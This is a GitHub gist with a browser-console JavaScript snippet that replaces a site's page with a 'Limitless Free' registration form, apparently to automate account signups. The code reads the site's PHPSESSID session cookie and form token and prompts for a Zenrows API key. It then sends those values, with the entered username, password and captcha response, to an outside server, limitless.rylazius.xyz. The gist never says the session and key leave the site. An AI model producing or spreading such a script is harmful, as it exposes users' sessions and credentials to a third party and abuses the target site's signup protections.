Skip to content

Instantly share code, notes, and snippets.

@anhwaivo
Created January 15, 2024 03:11
Show Gist options
  • Save anhwaivo/09c716e4a3335779cee94f72aab582e8 to your computer and use it in GitHub Desktop.
Save anhwaivo/09c716e4a3335779cee94f72aab582e8 to your computer and use it in GitHub Desktop.
const value = `; ${document.cookie}`,
parts = value.split("; PHPSESSID=");
if (2 === parts.length) var PHPSESSIONID = parts.pop().split(";").shift();
const token = document.getElementsByName("token")[0].value,
axScript = document.createElement("script");
axScript.src = "https://cdnjs.cloudflare.com/ajax/libs/axios/1.6.2/axios.min.js", document.body.appendChild(axScript);
let ZrToken = prompt("Please input your Zenrows API key");
function random(e) {
let t = "",
i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
n = i.length,
a = 0;
for (; a < e;) t += i.charAt(Math.floor(Math.random() * n)), a += 1;
return t
}
async function register() {
let e = document.getElementById("username").value,
t = document.getElementById("passw").value,
i = grecaptcha.getResponse(),
n = await axios.post("https://limitless.rylazius.xyz/limitless/register", {
username: e,
password: t,
email: e+"@gmail.com",
token: token,
captcha: i,
zenrows: ZrToken,
PHPSESSID: PHPSESSIONID
});
if ("ok" == n.data) {
alert("Success!.");
let a = document.cookie.split(";");
for (let o = 0; o < a.length; o++) {
let r = a[o],
s = r.indexOf("="),
l = s > -1 ? r.substr(0, s) : r;
document.cookie = l + "=;expires=Thu, 01 Jan 2069 00:00:00 GMT"
}
} else alert("failed! ", n.data)
}
if (null != ZrToken) {
var e = document.querySelector("link[rel~='icon']");
e || ((e = document.createElement("link")).rel = "icon", document.head.appendChild(e)), e.href = "https://cdn.discordapp.com/attachments/1167100804193329213/1181814385761599538/Limitless.ico", document.title = "Limitless Free";
var t = document.createElement("link");
t.rel = "stylesheet", t.href = "https://fonts.googleapis.com/css2?family=Poppins&display=swap", document.head.appendChild(t), document.body.innerHTML = `<div id="container"><p>Limitless</p><div><input id="username" placeholder="Username"></input> <input id="passw" placeholder="Password"></input></div><div id="grecaptcha"></div><button onclick="register()">Register</button></div>
`;
var i = document.createElement("style");
i.innerHTML = "button,input{font-size:18px;color:#000;font-family:Poppins,sans-serif}button,input,p{font-family:Poppins,sans-serif}:focus{outline:0}button{box-shadow:0 10px 6px -3px rgba(0,0,0,.1);border:none;padding:.5em 1em;border-radius:.3em;margin-top:5px;transition:.3s}input{border:none;padding:.5em .4em;border-radius:.3em;margin-bottom:5px}button:hover{cursor:pointer}p{color:#fff}body{background:linear-gradient(-45deg,#a3b0d7,#263a74);background-size:400% 400%;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;animation:9s infinite gradient-animation}@keyframes gradient-animation{0%,100%{background-position:0 50%}50%{background-position:100% 50%}}", document.head.appendChild(i), grecaptcha.render("grecaptcha", {
sitekey: "6Ld6LbsUAAAAAF0MgujyaHEmfA-Yq8W0AdiPnlYH"
})
} else alert("Failed!");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment